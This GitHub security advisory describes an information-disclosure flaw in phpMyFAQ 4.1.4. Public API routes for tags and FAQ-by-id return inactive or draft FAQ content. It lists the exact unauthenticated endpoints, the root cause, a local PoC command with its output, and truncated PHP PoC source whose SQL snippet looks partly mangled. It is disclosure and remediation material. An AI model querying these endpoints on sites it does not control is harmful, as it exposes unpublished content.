GitHub Advisoryadvisory · Packagist
GHSA-mf8r-wm2w-f8c5 phpMyFAQ public FAQ APIs expose inactive FAQ content
MEDIUM
Official page ↗
- Ecosystem
- Packagist
- Packages
- thorsten/phpmyfaq, phpmyfaq/phpmyfaq
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Weaknesses
- CWE-200, CWE-863
- Reviewed
- 2026-08-25
Affected packages
• Packagist thorsten/phpmyfaq: >= 4.1.0, < 4.1.5 → fixed in 4.1.5
• Packagist phpmyfaq/phpmyfaq: >= 4.1.0, < 4.1.5 → fixed in 4.1.5
Description
Affected Product
phpMyFAQ
Affected Versions
• Confirmed affected: 4.1.4, API v3.1.
• Confirmed affected: current main / 4.2-style source, API v4.0, for `GET /api/v4.0/faqs/tags/{tagId}` when `api.onlyActiveFaqs=true`.
Patched Versions
4.1.5.
Description
The public FAQ API applies inconsistent `active = 'yes'` filtering across endpoints. A FAQ entry marked `active = 'no'` is hidden from `GET /api/v3.1/faqs/{categoryId}` in phpMyFAQ 4.1.4, but the same inactive FAQ can still be retrieved through public API routes:
• `GET /api/v3.1/faq/{categoryId}/{faqId}` returns the inactive FAQ title and full answer.
• `GET /api/v3.1/faqs/tags/{tagId}` returns the inactive FAQ title and answer preview.
On the current 4.2-style branch, `api.onlyActiveFaqs=true` hides inactive FAQs from list and direct-by-id endpoints, but `GET /api/v4.0/faqs/tags/{tagId}` still returns inactive FAQ title and preview because it calls `Faq::getFaqsByIds()` without active/date filtering.
Inactive FAQs are commonly used as drafts or review-only content, so these unauthenticated public API paths may disclose non-public content.
Root Cause
`FaqController::getByCategoryId()` calls `Faq::getAllAvailableFaqsByCategoryId()`, which filters:
```sql
fd.date_start = now
AND fd.active = 'yes'
```
`FaqController::getByTagId()` instead resolves record IDs through `Tags::getFaqsByTagId()` and then calls `Faq::getFaqsByIds($recordIds)`.
`Faq::getFaqsByIds()` filters by record ID, language, and permission, but does not filter `fd.active = 'yes'` or publication date windows before returning `record_title` and `record_preview`.
In phpMyFAQ 4.1.4, `FaqController::getById()` calls `Faq::getFaqByIdAndCategoryId()`, which also lacks an inactive/publication-window filter and returns the full answer.
Proof of Concept
The attached PoC uses phpMyFAQ's real Composer autoloader, real public `FaqController`, and a temporary copy of `tests/test.db`.
Run from a local phpMyFAQ 4.1.4 source checkout after dependencies are installed and `tests/test.db` exists:
```bash
php poc_phpmyfaq_414_inactive_faq_api_exposure.php /path/to/phpMyFAQ-4.1.4
```
Expected output:
```text
phpMyFAQ version: 4.1.4
Inserted FAQ: id=991414, active=no, anonymous-readable, category=991414, tag=991414
GET /api/v3.1/faqs/991414 status: 200
Category response contains inactive title: no
GET /api/v3.1/faq/991414/991414 status: 200
Direct-by-id response contains inactive full title+answer: yes
GET /api/v3.1/faqs/tags/991414 status: 200
Tag response contains inactive title+preview: yes
VERDICT: reproduced inactive FAQ exposure through public API controller paths.
```
Suggested Fix
Apply one consistent public visibility check across all public FAQ API routes:
• `fd.active = 'yes'`
• `fd.date_start = now`
Suggested implementation options:
• Add `Faq::getActiveFaqsByIds(array $faqIds)` and use it in public tag API routes.
• Or add an `$onlyActive` / `$publicOnly` argument to `Faq::getFaqsByIds()` and default public controllers to enabled filtering.
• Update `Faq::getFaqByIdAndCategoryId()` or the public controller wrapper so inactive records return 404 for unauthenticated public API requests.
• Add regression tests with an inactive, anonymous-readable FAQ that has both category and tag relations.
Reporter Credit
Please credit:
Yaohui Wang
CVE Request
Because this is unauthenticated exposure of inactive / non-public FAQ content through public API endpoints in a supported release line, please consider assigning a GHSA and requesting a CVE if it meets the project's advisory criteria.
Full PoC Source
~~~php
query($sql);
if ($result === false) {
throw new RuntimeException('SQL failed: ' . $db->error() . "\nSQL: " . $sql);
}
}
$tempDb = tempnam(sys_get_temp_dir(), 'pmf-414-api-poc-');
if ($tempDb === false || !copy($repoRoot . '/tests/test.db', $tempDb)) {
fwrite(STDERR, "Cannot create temporary SQLite database.\n");
exit(2);
}
try {
Strings::init();
Translation::create()
->setTranslationsDir(PMF_ROOT_DIR . '/translations')
->setDefaultLanguage('en')
->setCurrentLanguage('en')
->setMultiByteLanguage();
Database::setTablePrefix('');
$db = Database::factory('pdo_sqlite');
if (!$db instanceof DatabaseDriver) {
throw new RuntimeException('Could not create PDO SQLite database driver.');
}
$db->connect($tempDb, '', '');
$configuration = new Configuration($db);
$configuration->getAll();
$configuration->set('api.enableAccess', 'true');
$configuration->set('main.currentVersion', System::getVersion());
$configuration->set('main.language', 'en');
$configuration->set('main.referenceURL', 'https://localhost/');
$configuration->set('security.enableLoginOnly', 'false');
$configuration->set('security.permLevel', 'basic');
$configuration->set('records.numberOfRecordsPerPage', '25');
$configuration->getAll();
$session = new Session(new MockArraySessionStorage());
$language = new Language($configuration, $session);
$language->setLanguageFromConfiguration('en');
$configuration->setLanguage($language);
$faqId = 991414;
$tagId = 991414;
$categoryId = 991414;
$question = 'Inactive tagged API probe 4.1.4';
$answer = 'This inactive FAQ preview is returned by the public tag API in phpMyFAQ 4.1.4.';
pocQuery($db, sprintf('DELETE FROM faqdata_tags WHERE record_id = %d OR tagging_id = %d', $faqId, $tagId));
pocQuery($db, sprintf('DELETE FROM faqtags WHERE tagging_id = %d', $tagId));
pocQuery($db, sprintf('DELETE FROM faqdata_user WHERE record_id = %d', $faqId));
pocQuery($db, sprintf('DELETE FROM faqdata_group WHERE record_id = %d', $faqId));
pocQuery($db, sprintf('DELETE FROM f…